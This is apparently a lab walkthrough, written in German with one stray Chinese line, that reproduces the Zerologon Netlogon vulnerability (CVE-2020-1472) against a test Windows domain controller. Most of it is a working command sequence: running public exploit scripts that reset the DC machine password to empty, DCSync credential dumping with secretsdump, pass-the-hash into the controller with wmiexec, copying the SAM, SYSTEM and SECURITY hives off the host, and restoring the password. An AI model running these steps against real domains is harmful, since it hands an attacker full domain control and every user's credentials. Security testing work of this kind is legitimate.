
cve-2020-1472 Reproduktion und Ausnutzung sowie dessen Exploit
Reproduktion dieser Schwachstelle in einer Windows-Domänenumgebung unter macOS über einen Proxychains-Proxy.
DC(primärer Domänencontroller):

Domain User(Domänenmitgliedsrechner):
Einrichten eines SOCKS5-Forward-Proxys direkt über gost.

Attack Hacker(Angriffsrechner):
Konfiguration von proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
PrxoyList-Liste hinzufügen
[ProxyList] socks5 10.211.55.42 8099
Attack Tools(Angriffswerkzeuge):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Falls bei der Ausführung dieser Fehler auftritt:

Dies deutet auf ein Problem mit dem Impacket-Modul hin. Versuchen Sie, das Impacket-Modul zu deinstallieren und die neueste Version von GitHub zu installieren.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
Das Problem sollte damit behoben sein.
c#-Tool: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
Zunächst versuchen, das Domänencontroller-Passwort zu verwenden, um den Hash des Domänencomputer-Kontos zu exportieren, um ihn später mit dem geänderten vergleichen zu können.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Mit zerologon_tester.py prüfen, ob die Schwachstelle existiert
python3 zerologon_tester.py DC 10.211.55.38

Rückgabe "Success" bedeutet, dass die Schwachstelle existiert.
Mit cve-2020-1472-exploit.py das Computerkonto zurücksetzen
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

Erneut prüfen, ob das Computer-Passwort auf leer gesetzt wurde.

In einer Einzeldomänenumgebung:
Kann einwandfrei ausgeführt werden, nach einem Neustart des Domänencontrollers treten keine Anomalien auf, aber die DNS der Domänenmitgliedsrechner haben Probleme, was die Authentifizierung nicht beeinträchtigt.

Nach der Passwortwiederherstellung:

In einer Zwei-Domänenumgebung, ein primärer Domänencontroller (DC) und ein Backup-Domänencontroller (DC01):

Zuerst die Computer-Hashes beider Domänencontroller abrufen und feststellen, dass sie unterschiedlich sind.

Versuch, den sekundären Domänencontroller anzugreifen, stellte fest, dass der primäre nicht betroffen war, und die Daten von ntdis.dist wurden ebenfalls synchronisiert.

Versuch, den primären Domänencontroller anzugreifen, net time /domain und die Einzeldomänenumgebung zeigen ebenfalls Fehler, aber nach der Passwortwiederherstellung erholt es sich sofort.
Neu erstellte Konten können direkt synchronisiert werden.

Passwortänderung beeinträchtigt die Synchronisation ebenfalls nicht.
Meiner Meinung nach wurden bisher keine Probleme mit der Domain-Trennung festgestellt. Es wird empfohlen, diesen Ablauf einmal durchzugehen. Bei Fragen könnt ihr euch gerne an mich wenden!
Netlogon-Privilegienausweitungsschwachstelle (CVE-2020-1472) Prinzipanalyse und Verifikation
Das Computerkonto des Domänencontrollers kann mit DCSync alle Benutzeranmeldeinformationen in der Domäne exportieren.
Prinzip:
Nutzung des DRS (Directory Replication Service) Protokolls, um über IDL_DRSGetNCChanges Benutzeranmeldeinformationen vom Domänencontroller zu replizieren.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Wiederherstellen des Passworts des DC$-Computerkontos
Durch
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
Erhalten des Hashes des Domänenadministrators.


Dann über wmic und Pass-the-Hash die lokalen Administratorrechte auf dem Domänencontroller erlangen (Domänenadmin).
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Dann nacheinander ausführen, um die SAM-Datenbank von diesem Rechner auf das MAC-Gerät zu kopieren.
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Extrahieren des Klartext-Hexwerts des Computerkontos.

Schließlich ausführen
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960
Man sieht, dass die Informationen vollständig wiederhergestellt wurden.